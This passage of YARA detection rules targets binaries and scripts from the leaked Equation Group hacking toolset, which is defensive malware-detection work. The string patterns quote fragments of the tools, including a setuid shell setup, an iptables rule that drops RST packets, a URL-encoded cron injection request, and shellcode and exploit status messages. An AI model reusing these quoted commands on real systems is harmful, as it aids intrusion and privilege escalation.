		hash1 = "abc27fda9a0921d7cf2863c29768af15fdfe47a0b3e7a131ef7e5cc057576fbc"
		id = "b88be148-5308-583a-b41e-2bea9b837e2a"

	strings:
		$s1 = "[-] Failed to map file: %s" fullword ascii
		$s2 = "[-] can not NULL terminate input data" fullword ascii
		$s3 = "[!] Name has size of 0!" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 60KB and all of them )
}

rule EquationGroup_morerats_client_genkey
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "0ce455fb7f46e54a5db9bef85df1087ff14d2fc60a88f2becd5badb9c7fe3e89"
		id = "fb305be7-9e16-502e-89ca-a40bb6890404"

	strings:
		$x1 = "rsakey_txt = lo_execute('openssl genrsa 2048 2> /dev/null | openssl rsa -text 2> /dev/null')" fullword ascii
		$x2 = "client_auth = binascii.hexlify(lo_execute('openssl rand 16'))" fullword ascii

	condition:
		( filesize < 3KB and all of them )
}

rule EquationGroup_cursetingle_2_0_1_2_mswin32_v_2_0_1
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "614bf159b956f20d66cedf25af7503b41e91841c75707af0cdf4495084092a61"
		id = "7a1870ba-d600-5c11-8d3d-41395ad8be63"

	strings:
		$s1 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
		$s2 = "0123456789abcdefABCEDF:" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_cursesleepy_mswin32_v_1_0_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "6293439b4b49e94f923c76e302f5fc437023c91e063e67877d22333f05a24352"
		id = "f60ff218-1cb7-5f44-a756-1ee67649e6a6"

	strings:
		$s1 = "A}%j,R" fullword ascii
		$op1 = { a1 e0 43 41 00 8b 0d 34 44 41 00 6b c0 }
		$op2 = { 33 C0 F3 A6 74 14 8B 5D 08 8B 4B 34 50 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them )
}

rule EquationGroup_cursehelper_win2k_i686_v_2_2_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "5ac6fde8a06f4ade10d672e60e92ffbf78c4e8db6b5152e23171f6f53af0bfe1"
		id = "1c24aa6a-74ab-5832-876b-5cab43dc6bb7"

	strings:
		$s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/{}" fullword ascii
		$op1 = { 8d b5 48 ff ff ff 89 34 24 e8 56 2a 00 00 c7 44 }
		$op2 = { e9 a2 f2 ff ff ff 85 b4 fe ff ff 8b 95 a8 fe ff }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them )
}

rule EquationGroup_morerats_client_addkey
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "6c67c03716d06a99f20c1044585d6bde7df43fee89f38915db0b03a42a3a9f4b"
		id = "a025e379-c24e-56ac-b53c-bd38d51f3437"

	strings:
		$x1 = "print '  -s storebin  use storebin as the Store executable\\n'" fullword ascii
		$x2 = "os.system('%s --file=\"%s\" --wipe > /dev/null' % (storebin, b))" fullword ascii
		$x3 = "print '  -k keyfile   the key text file to inject'" fullword ascii

	condition:
		( filesize < 20KB and 1 of them )
}

rule EquationGroup_noclient_3_3_2
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "3cf0eb010c431372af5f32e2ee8c757831215f8836cabc7d805572bb5574fc72"
		id = "be7c4263-e8e3-5a83-9003-063225e544ff"

	strings:
		$x1 = "127.0.0.1 is not advisable as a source. Use -l 127.0.0.1 to override this warning" fullword ascii
		$x2 = "iptables -%c OUTPUT -p tcp -d 127.0.0.1 --tcp-flags RST RST -j DROP;" fullword ascii
		$x3 = "noclient: failed to execute %s: %s" fullword ascii
		$x4 = "sh -c \"ping -c 2 %s; grep %s /proc/net/arp >/tmp/gx \"" fullword ascii
		$s5 = "Attempting connection from 0.0.0.0:" ascii

	condition:
		( filesize < 1000KB and 1 of them )
}

rule EquationGroup_curseflower_mswin32_v_1_0_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "fdc452629ff7befe02adea3a135c3744d8585af890a4301b2a10a817e48c5cbf"
		id = "4138f87a-4584-5efc-a168-633838893e2f"

	strings:
		$s1 = "<pVt,<et(<st$<ct$<nt" fullword ascii
		$op1 = { 6a 04 83 c0 08 6a 01 50 e8 10 34 00 00 83 c4 10 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_tmpwatch
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "65ed8066a3a240ee2e7556da74933a9b25c5109ffad893c21a626ea1b686d7c1"
		id = "2c8cac7a-761f-59f4-bc04-285af4dbe184"

	strings:
		$s1 = "chown root:root /tmp/.scsi/dev/bin/gsh" fullword ascii
		$s2 = "chmod 4777 /tmp/.scsi/dev/bin/gsh" fullword ascii

	condition:
		( filesize < 1KB and 1 of them )
}

rule EquationGroup_orleans_stride_sunos5_9_v_2_4_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "6a30efb87b28e1a136a66c7708178c27d63a4a76c9c839b2fc43853158cb55ff"
		id = "ec83e1c0-91a9-5f9d-a1d2-94be725bc05a"

	strings:
		$s1 = "_lib_version" ascii
		$s2 = ",%02d%03d" fullword ascii
		$s3 = "TRANSIT" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 200KB and all of them )
}

rule EquationGroup_morerats_client_noprep
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "a5b191a8ede8297c5bba790ef95201c516d64e2898efaeb44183f8fdfad578bb"
		id = "27e9e51a-c853-5dcc-97d2-d3d31c5ccfac"

	strings:
		$x1 = "storestr = 'echo -n \"%s\" | Store --nullterminate --file=\"%s\" --set=\"%s\"' % (nopenargs, outfile, VAR_NAME)" fullword ascii
		$x2 = "The NOPEN-args provided are injected into infile if it is a valid" fullword ascii
		$x3 = " -i                do not autokill after 5 hours" fullword ascii

	condition:
		( filesize < 9KB and 1 of them )
}

rule EquationGroup_cursezinger_linuxrh7_3_v_2_0_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "af7c7d03f59460fa60c48764201e18f3bd3f72441fd2e2ff6a562291134d2135"
		id = "d4cab478-da1e-54ef-995a-897d1813619e"

	strings:
		$s1 = ",%02d%03d" fullword ascii
		$s2 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
		$s3 = "__strtoll_internal" ascii
		$s4 = "__strtoul_internal" ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 400KB and all of them )
}

rule EquationGroup_seconddate_ImplantStandalone_3_0_3
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "d687aa644095c81b53a69c206eb8d6bdfe429d7adc2a57d87baf8ff8d4233511"
		id = "08b1aa88-8731-51db-b659-96147f509bcd"

	strings:
		$s1 = "EFDGHIJKLMNOPQRSUT" fullword ascii
		$s2 = "G8HcJ HcF LcF0LcN" fullword ascii
		$s3 = "GhHcJ0HcF@LcF0LcN8H" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 1000KB and all of them )
}

rule EquationGroup_watcher_solaris_i386_v_3_3_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "395ec2531970950ffafde234dded0cce0c95f1f9a22763d1d04caa060a5222bb"
		id = "e75c6ed9-b6e6-530d-a6ac-40bd0477754f"

	strings:
		$s1 = "getexecname" fullword ascii
		$s2 = "invalid option `" fullword ascii
		$s6 = "__fpstart" ascii
		$s12 = "GHFIJKLMNOPQRSTUVXW" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 700KB and all of them )
}

rule EquationGroup_gr_dev_bin_now
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "f5ed8312fc6e624b04e1e2d6614f3c651c9e9902ff41f4d069c32caca0869fa4"
		id = "9ec19323-85d5-5edf-99eb-b452c09b870a"

	strings:
		$x1 = "HTTP_REFERER=\"https://127.0.0.1:6655/cgi/redmin?op=cron&action=once\"" fullword ascii
		$x2 = "exec /usr/share/redmin/cgi/redmin" fullword ascii

	condition:
		( filesize < 1KB and 1 of them )
}

rule EquationGroup_gr_dev_bin_post
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "c1546155efa95dbc4e3cc95299a3968fc075f89d33164e78b00b76c7d08a0591"
		id = "9ec19323-85d5-5edf-99eb-b452c09b870a"

	strings:
		$x1 = "op=cron&action=once&frame=cronOnceFrame&cronK=cronV&cronCommand=%2Ftmp%2Ftmpwatch&time=12%3A12+01%2F28%2F2005" ascii

	condition:
		( filesize < 1KB and all of them )
}

rule EquationGroup_curseyo_win2k_v_1_0_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "5dc77614764b23a38610fdd8abe5b2274222f206889e4b0974a3fea569055ed6"
		id = "8161907d-d6bd-58c5-806d-387321b93b21"

	strings:
		$s1 = "0123456789abcdefABCEDF:" fullword ascii
		$op0 = { c6 06 5b 8b bd 70 ff ff ff 8b 9d 64 ff ff ff 0f }
		$op1 = { 55 b8 ff ff ff ff 89 e5 83 ec 28 89 7d fc 8b 7d }
		$op2 = { ff 05 10 64 41 00 89 34 24 e8 df 1e 00 00 e9 31 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_gr
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "d3cd725affd31fa7f0e2595f4d76b09629918612ef0d0307bb85ade1c3985262"
		id = "9ec19323-85d5-5edf-99eb-b452c09b870a"

	strings:
		$s1 = "if [ -f /tmp/tmpwatch ] ; then" fullword ascii
		$s2 = "echo \"bailing. try a different name\"" fullword ascii

	condition:
		( filesize < 1KB and all of them )
}

rule EquationGroup_curseroot_win2k_v_2_1_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "a1637948ed6ebbd2e582eb99df0c06b27a77c01ad1779b3d84c65953ca2cb603"
		id = "bd2257ef-8170-547d-9c5e-7ff03404495c"

	strings:
		$s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%s,%s" fullword ascii
		$op0 = { c7 44 24 04 ff ff ff ff 89 04 24 e8 46 65 01 00 }
		$op1 = { 8d 5d 88 89 1c 24 e8 24 1b 01 00 be ff ff ff ff }
		$op2 = { d3 e0 48 e9 0c ff ff ff 8b 45 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and $s1 and 2 of ( $op* ) )
}

rule EquationGroup_cursewham_curserazor_cursezinger_curseroot_win2k
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "aff27115ac705859871ab1bf14137322d1722f63705d6aeada43d18966843225"
		hash2 = "7a25e26950bac51ca8d37cec945eb9c38a55fa9a53bc96da53b74378fb10b67e"
		id = "6a877998-7021-54cb-b068-452d005955b6"

	strings:
		$s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%s,%s" fullword ascii
		$s3 = ",%02d%03d" fullword ascii
		$s4 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
		$op1 = { 7d ec 8d 74 3f 01 0f af f7 c1 c6 05 }
		$op2 = { 29 f1 89 fb d3 eb 89 f1 d3 e7 }
		$op3 = { 7d e4 8d 5c 3f 01 0f af df c1 c3 05 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 3 of them )
}

rule EquationGroup_watcher_linux_i386_v_3_3_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "ce4c9bfa25b8aad8ea68cc275187a894dec5d79e8c0b2f2f3ec4184dc5f402b8"
		id = "3c5dc02b-a11a-5c61-8069-641ba90668ec"

	strings:
		$s1 = "invalid option `" fullword ascii
		$s8 = "readdir64" fullword ascii
		$s9 = "89:z89:%r%opw" fullword wide
		$s13 = "Ropopoprstuvwypypop" fullword wide
		$s17 = "Missing argument for `-x'." fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 700KB and all of them )
}

rule EquationGroup_charm_saver_win2k_v_2_0_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "0f7936a37482532a8ba5df4112643ed7579dd0e59181bfca9c641b9ba0a9912f"
		id = "9c2e3b70-ffa2-598a-9f99-f7a574b06c14"

	strings:
		$s2 = "0123456789abcdefABCEDF:" fullword ascii
		$op0 = { b8 ff ff ff ff 7f 65 eb 30 8b 55 0c 89 d7 0f b6 }
		$op2 = { ba ff ff ff ff 83 c4 6c 89 d0 5b 5e 5f 5d c3 90 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them )
}

rule EquationGroup_cursehappy_win2k_v_6_1_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "eb669afd246a7ac4de79724abcce5bda38117b3138908b90cac58936520ea632"
		id = "7b75d4aa-2cbc-57fc-8fda-015bbc1fb25e"

	strings:
		$op1 = { e8 24 2c 01 00 85 c0 89 c6 ba ff ff ff ff 74 d6 }
		$op2 = { 89 4c 24 04 89 34 24 89 44 24 08 e8 ce 49 ff ff }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them )
}

rule EquationGroup_morerats_client_Store
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "619944358bc0e1faffd652b6af0600de055c5e7f1f1d91a8051ed9adf5a5b465"
		id = "de6de983-fad2-58cf-95be-57109436d5fc"

	strings:
		$s1 = "[-] Failed to mmap file: %s" fullword ascii
		$s2 = "[-] can not NULL terminate input data" fullword ascii
		$s3 = "Missing argument for `-x'." fullword ascii
		$s4 = "[!] Value has size of 0!" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 60KB and 2 of them )
}

rule EquationGroup_watcher_linux_x86_64_v_3_3_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		hash1 = "a8d65593f6296d6d06230bcede53b9152842f1eee56a2a72b0a88c4f463a09c3"
		id = "4077242e-a0f2-54a8-afad-f52b8ed874ba"

	strings:
		$s1 = "forceprismheader" fullword ascii
		$s2 = "invalid option `" fullword ascii
		$s3 = "forceprism" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 900KB and all of them )
}

rule EquationGroup_linux_exactchange
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		super_rule = 1
		hash1 = "dfecaf5b85309de637b84a686dd5d2fca9c429e8285b7147ae4213c1f49d39e6"
		hash2 = "6ef6b7ec1f1271503957cf10bb6b1bfcedb872d2de3649f225cf1d22da658bec"
		hash3 = "39d4f83c7e64f5b89df9851bdba917cf73a3449920a6925b6cd379f2fdec2a8b"
		hash4 = "15e12c1c27304e4a68a268e392be4972f7c6edf3d4d387e5b7d2ed77a5b43c2c"
		id = "cd9487be-57c5-5352-bce7-f9510166182d"

	strings:
		$x1 = "[+] looking for vulnerable socket" fullword ascii
		$x2 = "can't use 32-bit exploit on 64-bit target" fullword ascii
		$x3 = "[+] %s socket ready, exploiting..." fullword ascii
		$x4 = "[!] nothing looks vulnerable, trying everything" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 2000KB and 1 of them )
}

rule EquationGroup_x86_linux_exactchange
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
		super_rule = 1
		hash1 = "dfecaf5b85309de637b84a686dd5d2fca9c429e8285b7147ae4213c1f49d39e6"
		hash2 = "6ef6b7ec1f1271503957cf10bb6b1bfcedb872d2de3649f225cf1d22da658bec"
		id = "b39e0c6e-b427-5085-99f8-88b2e00bb110"

	strings:
		$x1 = "kernel has 4G/4G split, not exploitable" fullword ascii
		$x2 = "[+] kernel stack size is %d" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 1000KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Eclipsedwing_Rpcproxy_Pcdlllauncher
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "48251fb89c510fb3efa14c4b5b546fbde918ed8bb25f041a801e3874bd4f60f8"
		hash2 = "237c22f4d43fdacfcbd6e1b5f1c71578279b7b06ea8e512b4b6b50f10e8ccf10"
		hash3 = "79a584c127ac6a5e96f02a9c5288043ceb7445de2840b608fc99b55cf86507ed"
		id = "8dd15424-e1b5-5543-97d5-3b3a83faa428"

	strings:
		$x1 = "[-] Failed to Prepare Payload!" fullword ascii
		$x2 = "ShellcodeStartOffset" fullword ascii
		$x3 = "[*] Waiting for AuthCode from exploit" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Explodingcantouch_1_2_1
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "0cdde7472b077610d0068aa7e9035da89fe5d435549749707cae24495c8d8444"
		id = "66a09bfc-992d-5152-9fd6-9d7bcfb8b92f"

	strings:
		$x1 = "[-] Connection closed by remote host (TCP Ack/Fin)" fullword ascii
		$s2 = "[!]Warning: Error on first request - path size may actually be larger than indicated." fullword ascii
		$s4 = "<http://%s/%s> (Not <locktoken:write1>) <http://%s/>" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 150KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Architouch_1_0_0
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "444979a2387530c8fbbc5ddb075b15d6a4717c3435859955f37ebc0f40a4addc"
		id = "c5af05b5-9dfa-535f-b9ea-c82ef79bae7e"

	strings:
		$s1 = "[+] Target is %s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "3d11fe89ffa14f267391bc539e6808d600e465955ddb854201a1f31a9ded4052"
		id = "1a3fe877-b9ae-50e4-bb1a-c9dcd4d4a657"

	strings:
		$x1 = "[-] Error appending shellcode buffer" fullword ascii
		$x2 = "[-] Shellcode is too big" fullword ascii
		$x3 = "[+] Exploit Payload Sent!" fullword ascii
		$x4 = "[+] Bound to Dimsvc, sending exploit request to opnum 29" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 150KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Esteemaudit_2_1_0
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "61f98b12c52739647326e219a1cf99b5440ca56db3b6177ea9db4e3b853c6ea6"
		id = "95594756-1872-5d86-877f-0977bd3c067b"

	strings:
		$x1 = "[+] Connected to target %s:%d" fullword ascii
		$x2 = "[-] build_exploit_run_x64():" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Darkpulsar_1_1_0
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "b439ed18262aec387984184e86bfdb31ca501172b1c066398f8c56d128ba855a"
		id = "0f4f77d7-99bc-5c84-84bf-877c4e79c9f0"

	strings:
		$x1 = "[%s] - Error upgraded DLL architecture does not match target architecture (0x%x)" fullword ascii
		$x2 = "[%s] - Error building DLL loading shellcode" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule EquationGroup_Toolset_Apr17_Educatedscholar_1_0_0
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "4cce9e39c376f67c16df3bcd69efd9b7472c3b478e2e5ef347e1410f1105c38d"
		id = "37ca8de5-435b-5c1a-83b8-5704fa137604"

	strings:
		$x1 = "[+] Shellcode Callback %s:%d" fullword ascii
		$x2 = "[+] Exploiting Target" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 150KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13"
		id = "99711157-58eb-5ec0-bb9f-bf953cd10125"

	strings:
		$x1 = "[+] Ping returned Target architecture: %s - XOR Key: 0x%08X" fullword ascii
		$x2 = "[.] Sending shellcode to inject DLL" fullword ascii
		$x3 = "[-] Error setting ShellcodeFile name" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Erraticgophertouch_1_0_1
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "729eacf20fe71bd74e57a6b829b45113c5d45003933118b53835779f0b049bad"
		id = "9f03a4b6-69ab-5cef-876c-1e86ef2afe10"

	strings:
		$x1 = "[-] Unable to connect to broswer named pipe, target is NOT vulnerable" fullword ascii
		$x2 = "[-] Unable to bind to Dimsvc RPC syntax, target is NOT vulnerable" fullword ascii
		$x3 = "[+] Bound to Dimsvc, target IS vulnerable" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 30KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Smbtouch_1_1_1
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "108243f61c53f00f8f1adcf67c387a8833f1a2149f063dd9ef29205c90a3c30a"
